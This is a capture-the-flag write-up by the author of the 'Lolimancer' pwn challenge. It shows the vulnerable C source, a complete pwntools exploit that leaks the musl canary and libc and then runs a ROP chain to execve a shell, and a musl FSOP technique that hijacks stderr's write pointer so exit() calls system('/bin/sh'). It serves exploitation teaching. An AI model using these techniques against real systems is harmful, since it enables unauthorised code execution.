[Backdoor-CTF 2025]-Pwn/Lolimancer

Overview#

This is one of the challenge that I authored for Backdoor CTF 2025.The challenge was tagged beginner and It was compiled with musl libc.After a week,I gave NiteCTF and there was also a challenge compiled with musl libc.I solved that challenge using FSOP which I am going to demonstrate in Exploitation Part. As always,All mitigations are enabled.

1
Canary                                  : Enabled
2
NX                                      : Enabled
3
PIE                                     : Enabled
4
RELRO                                   : Full RELRO
5
Fortify                                 : Not found

Source code#

This is the source code of the challenge. The code is really simple.It first calls liik then likkky and then scanf on buffer which is 0x10 bytes,giving us plain old powerful buffer overflow. liik and likky function can be used to get libc and canary leak.

1
#include <stdio.h>
2

3
void liiik() {
4
  char buffer[1024] = {0};
5
  read(0x0,buffer ,0x5);
6
  printf(buffer);
7
  puts("I think you do not need warmup!!");
8
}
9

10
void likkkkky() {
11
  char buffer[1024] = {0};
12
  read(0x0,buffer ,0x28);
13
  printf(buffer);
14
  puts("I think you do not need warmup!!");
15
}
16

17
int main() {
18
  liiik();
19
  puts(("One more time and you will be strong!!"));
20
  likkkkky();
21
  char array[0x10];
22
  scanf("%s", array);
23

24
  return 0;
25

26
}

But there’s a twist.Musl libc does not support percentage in printf function.So we can’t use $ sign to leak value wrt to stack.Also the ld and libc is same in musl as seen through vmmap in gef so only one leak is enough for everything.

vmmap

Exploitation#

After debugging in gef, directly sending "%p%p" gives us libc and stack leak.For canary leak,we have to use "%s" to leak it.Stack address[$RBP-0x8] and libc address in TLS region points to the canary so we can use either of them to leak the canary. In glibc,canary is randomized 8 bytes and has null bytes in the least significant byte to prevent accidental read or write via puts or printf. But in musl, null byte of canary is present at the second lowest significant byte.

1
gef> x $rbp-0x8
2
0x7fffffffdf98:  0x88a1c0175ca30004  <-canary

canary

So We have to leak six bytes and then one bytes then reconstruct the canary for rop chain.

1
from pwn import *
2
elf = context.binary = ELF("./chall")
3
context.log_level  = "Debug"
4
# libc = ELF("/usr/local/musl/lib/libc.so")
5
libc  = ELF("./libc.so")
6
# io =process(["./libc.so","./test_patched"])
7
io = process()
8
gdbscript ='''
9
# b *liiik+146
10
# b *likkkkky+146
11
b *main+84
12
'''
13
# gdb.attach(io,gdbscript=gdbscript)
14
payload = b"%p%p"
15
io.sendline(payload)
16
stack_leak =int(io.recvn(0x8+0x6),0x10)
17
log.critical(f"stack leak :{hex(stack_leak)}")
18

19

20
io.recvn(0x10-0x8-0x6)
21
libc_leak =int(io.recvn(0xc),0x10)
22
log.critical(f"libc leak :{hex(libc_leak)}")
23

24
libc.address =libc_leak-0xb1ba4
25
io.recvuntil(b"strong!!")
26

27
payload = b"%p%p%p%p%p%p%p%p"+b"AAAA"+b"%s"+b"%s"
28
payload+= p64(libc_leak-0x14)
29
payload+=p64(libc_leak-0x12)
30

31
io.sendline(payload)
32

33
io.recvuntil(b"AAAA")
34
canary_lsb = unpack(io.recvn(0x1),"all")
35
log.critical(f"canary lsb :{hex(canary_lsb)}")
36

37

38
canary_upper_6_bytes = unpack(io.recvn(0x6),"all")
39
canary = (canary_upper_6_bytes<<16)+canary_lsb
40
log.critical(f"canary complete :{hex(canary)}")
41

42
pop_rdi = libc.address+0x00000000000142a5
43
system = libc.address+0x4cd40
44
# bin_sh  = libc.address+0xb2cf0
45
bin_sh =stack_leak+0x70
46
ret = libc.address+0x0000000000016cec
47

48
# rop_chain =b"A"*0x18+pack(canary)+pack(0x0)+pack(pop_rdi)+pack(bin_sh)+pack(ret)+pack(system)
49
syscall = libc.address+0x00000000000140c3
50
pop_rsi = libc.address+0x0000000000015759
51
pop_rdx= libc.address+0x0000000000029c7b
52
pop_rax =libc.address+0x00000000000159d6
53

54
rop_chain =b"/bin/sh\x00"+b"A"*0x10+pack(canary)+pack(0x0)+pack(pop_rdi)+pack(bin_sh)+pack(pop_rsi)+pack(0x0)+pack(pop_rdx)+pack(0x0)+pack(pop_rax)+pack(0x3b)+pack(syscall)
55

56
io.recvuntil(b"warmup!!")
57
io.sendline(rop_chain)
58

59
io.interactive()

FSOP#

One week after this,Another musl challenge came in NITE-CTF and I used FSOP to hijack exit handler to execute system("/bin/sh"). First of all let’s see the how program exits in musl? For this I am writing a demo program that gives us arbitrary write primitive on stderr and then calls exit(0).

1
#include <stdio.h>
2
#include <unistd.h>
3
int main() {
4
  printf("stderr :%p\n", stderr);
5
  read(STDIN_FILENO, stderr, 0x100);
6
}

Above code prints the address of stderr and then gives the write primitive on stderr. This is the file structure in musl.

1
gef> ptype struct _IO_FILE
2
type = struct _IO_FILE {
3
    unsigned int flags;
4
    unsigned char *rpos;
5
    unsigned char *rend;
6
    int (*close)(FILE *);
7
    unsigned char *wend;
8
    unsigned char *wpos;
9
    unsigned char *mustbezero_1;
10
    unsigned char *wbase;
11
    size_t (*read)(FILE *, unsigned char *, size_t);
12
    size_t (*write)(FILE *, const unsigned char *, size_t);
13
    off_t (*seek)(FILE *, off_t, int);
14
    unsigned char *buf;
15
    size_t buf_size;
16
    FILE *prev;
17
    FILE *next;
18
    int fd;
19
    int pipe_pid;
20
    long lockcount;
21
    int mode;
22
    volatile int lock;
23
    int lbf;
24
    void *cookie;
25
    off_t off;
26
    char *getln_buf;
27
    void *mustbezero_2;
28
    unsigned char *shend;
29
    off_t shlim;
30
    off_t shcnt;
31
    FILE *prev_locked;
32
    FILE *next_locked;
33
    __locale_struct *locale;
34
}

As you can see there is no vtable in file structure.idk why but ptype/ox in gef which is used to show offsets in file structure is not working,but idt we need it as checks can also be deduced by reading assembly of close_file. This is the stderr file structure in musl.

1
gef> p/x *(struct _IO_FILE *)stderr
2
$6 = {
3
  flags = 0x5,
4
  rpos = 0x0,
5
  rend = 0x0,
6
  close = 0x7ffff7fa4da0,
7
  wend = 0x0,
8
  wpos = 0x0,
9
  mustbezero_1 = 0x0,
10
  wbase = 0x0,
11
  read = 0x0,
12
  write = 0x7ffff7fa4f80,
13
  seek = 0x7ffff7fa4f70,
14
  buf = 0x7ffff7ffded8,
15
  buf_size = 0x0,
16
  prev = 0x0,
17
  next = 0x0,
18
  fd = 0x2,
19
  pipe_pid = 0x0,
20
  lockcount = 0x0,
21
  mode = 0x0,
22
  lock = 0xffffffff,
23
  lbf = 0xffffffff,
24
  cookie = 0x0,
25
  off = 0x0,
26
  getln_buf = 0x0,
27
  mustbezero_2 = 0x0,
28
  shend = 0x0,
29
  shlim = 0x0,
30
  shcnt = 0x0,
31
  prev_locked = 0x0,
32
  next_locked = 0x0,
33
  locale = 0x0
34
}

1
_Noreturn void exit(int code)
2
{
3
  __funcs_on_exit();
4
  __libc_exit_fini();
5
  __stdio_exit();
6
  _Exit(code);
7
}

1
   0x00007ffff7f600c8 <+56>:  call   0x7ffff7f6a930 <__funcs_on_exit>
2
   0x00007ffff7f600cd <+61>:  call   0x7ffff7fc0d40 <__libc_exit_fini>
3
   0x00007ffff7f600d2 <+66>:  xor    eax,eax
4
   0x00007ffff7f600d4 <+68>:  call   0x7ffff7fa4e40 <__stdio_exit>
5
   0x00007ffff7f600d9 <+73>:  mov    edi,ebx
6
   0x00007ffff7f600db <+75>:  call   0x7ffff7f6a770 <_Exit>

Above is the disassembly of exit.

1
_Noreturn void _Exit(int ec)
2
{
3
  __syscall(SYS_exit_group, ec);
4
  for (;;) __syscall(SYS_exit, ec);
5
}

Upon calling exit,it calls some cleaning functions and then syscall.

Function __stdio_exit()->It cleans the stdin,stdout and stderr.

1
void __stdio_exit(void)
2
{
3
  FILE *f;
4
  for (f=*__ofl_lock(); f; f=f->next) close_file(f);
5
  close_file(__stdin_used);
6
  close_file(__stdout_used);
7
  close_file(__stderr_used);
8
}

1
Dump of assembler code for function __stdio_exit:
2
   0x00007ffff7fa4e40 <+0>:  endbr64
3
   0x00007ffff7fa4e44 <+4>:  push   rbx
4
   0x00007ffff7fa4e45 <+5>:  call   0x7ffff7fa7f60 <__ofl_lock>
5
   0x00007ffff7fa4e4a <+10>:  mov    rbx,QWORD PTR [rax]
6
   0x00007ffff7fa4e4d <+13>:  test   rbx,rbx
7
   0x00007ffff7fa4e50 <+16>:  je     0x7ffff7fa4e69 <__stdio_exit+41>
8
   0x00007ffff7fa4e52 <+18>:  nop    WORD PTR [rax+rax*1+0x0]
9
   0x00007ffff7fa4e58 <+24>:  mov    rdi,rbx
10
   0x00007ffff7fa4e5b <+27>:  call   0x7ffff7fa4dd0 <close_file>
11
   0x00007ffff7fa4e60 <+32>:  mov    rbx,QWORD PTR [rbx+0x70]
12
   0x00007ffff7fa4e64 <+36>:  test   rbx,rbx
13
   0x00007ffff7fa4e67 <+39>:  jne    0x7ffff7fa4e58 <__stdio_exit+24>
14
   0x00007ffff7fa4e69 <+41>:  mov    rdi,QWORD PTR [rip+0x56560]  #  <__stdin_used>
15
   0x00007ffff7fa4e70 <+48>:  call   0x7ffff7fa4dd0 <close_file>
16
   0x00007ffff7fa4e75 <+53>:  mov    rdi,QWORD PTR [rip+0x5655c]  #  <__stdout_used>
17
   0x00007ffff7fa4e7c <+60>:  call   0x7ffff7fa4dd0 <close_file>
18
   0x00007ffff7fa4e81 <+65>:  mov    rdi,QWORD PTR [rip+0x56540]  #  <__stderr_used>
19
   0x00007ffff7fa4e88 <+72>:  pop    rbx
20
   0x00007ffff7fa4e89 <+73>:  jmp    0x7ffff7fa4dd0 <close_file>

And this is the close_file() function. As there are very less checks on the file structure, and with arbitrary write primitive,if we control f->wpos ,f->wbase and f->write . We can easily call system by overwritng f->write to system and f->_flags to "/bin/sh".

1
static void close_file(FILE *f)
2
{
3
  if (!f) return;
4
  FFINALLOCK(f);
5
  if (f->wpos != f->wbase) f->write(f, 0, 0);
6
  if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
7
}

This is the assembly of close_file().

1
   0x00007ffff7fa4dd0 <+0>:  test   rdi,rdi
2
   0x00007ffff7fa4dd3 <+3>:  je     0x7ffff7fa4e38 <close_file+104>
3
   0x00007ffff7fa4dd5 <+5>:  push   rbx
4
   0x00007ffff7fa4dd6 <+6>:  mov    eax,DWORD PTR [rdi+0x8c]
5
   0x00007ffff7fa4ddc <+12>:  mov    rbx,rdi
6
   0x00007ffff7fa4ddf <+15>:  test   eax,eax
7
   0x00007ffff7fa4de1 <+17>:  jns    0x7ffff7fa4e20 <close_file+80>
8
   0x00007ffff7fa4de3 <+19>:  mov    rax,QWORD PTR [rbx+0x38]
9
   0x00007ffff7fa4de7 <+23>:  cmp    QWORD PTR [rbx+0x28],rax
10
   0x00007ffff7fa4deb <+27>:  je     0x7ffff7fa4df7 <close_file+39>
11
   0x00007ffff7fa4ded <+29>:  xor    edx,edx
12
   0x00007ffff7fa4def <+31>:  xor    esi,esi
13
   0x00007ffff7fa4df1 <+33>:  mov    rdi,rbx
14
   0x00007ffff7fa4df4 <+36>:  call   QWORD PTR [rbx+0x48]
15
   0x00007ffff7fa4df7 <+39>:  mov    rsi,QWORD PTR [rbx+0x8]
16
   0x00007ffff7fa4dfb <+43>:  mov    rax,QWORD PTR [rbx+0x10]
17
   0x00007ffff7fa4dff <+47>:  cmp    rsi,rax
18
   0x00007ffff7fa4e02 <+50>:  je     0x7ffff7fa4e30 <close_file+96>
19
   0x00007ffff7fa4e04 <+52>:  sub    rsi,rax
20
   0x00007ffff7fa4e07 <+55>:  mov    rdi,rbx
21
   0x00007ffff7fa4e0a <+58>:  mov    rax,QWORD PTR [rbx+0x50]
22
   0x00007ffff7fa4e0e <+62>:  mov    edx,0x1
23
   0x00007ffff7fa4e13 <+67>:  pop    rbx
24
   0x00007ffff7fa4e14 <+68>:  jmp    rax
25
   0x00007ffff7fa4e16 <+70>:  cs nop WORD PTR [rax+rax*1+0x0]
26
   0x00007ffff7fa4e20 <+80>:  call   0x7ffff7fa4be0 <__lockfile>
27
   0x00007ffff7fa4e25 <+85>:  jmp    0x7ffff7fa4de3 <close_file+19>
28
   0x00007ffff7fa4e27 <+87>:  nop    WORD PTR [rax+rax*1+0x0]
29
   0x00007ffff7fa4e30 <+96>:  pop    rbx
30
   0x00007ffff7fa4e31 <+97>:  ret
31
   0x00007ffff7fa4e32 <+98>:  nop    WORD PTR [rax+rax*1+0x0]
32
   0x00007ffff7fa4e38 <+104>:  ret

See this instruction

1
   0x00007ffff7fa4de3 <+19>:  mov    rax,QWORD PTR [rbx+0x38]
2
   0x00007ffff7fa4de7 <+23>:  cmp    QWORD PTR [rbx+0x28],rax

this is the equality check of wpos and wbase. and then this call instruction;

1
   0x00007ffff7fa4df4 <+36>:  call   QWORD PTR [rbx+0x48]

and here is the call to f->write. This is the fake stderr structure which I used to get shell.

1
system = libc_leak+0x4e0c0-0xad080
2
fsop = b"/bin/sh\x00"#0x0
3
fsop +=pack(0x0)*4#0x20
4
fsop+=pack(0x0)#0x28
5
fsop+=pack(0x0)#0x30
6
fsop+=pack(0x1)#0x38
7
fsop+=pack(0x0)#0x40
8
fsop+=pack(system)#0x48

DeepShii#

This is just the first part of the musl pwn series. Also this is not complete. Maybe I’ll update it asap.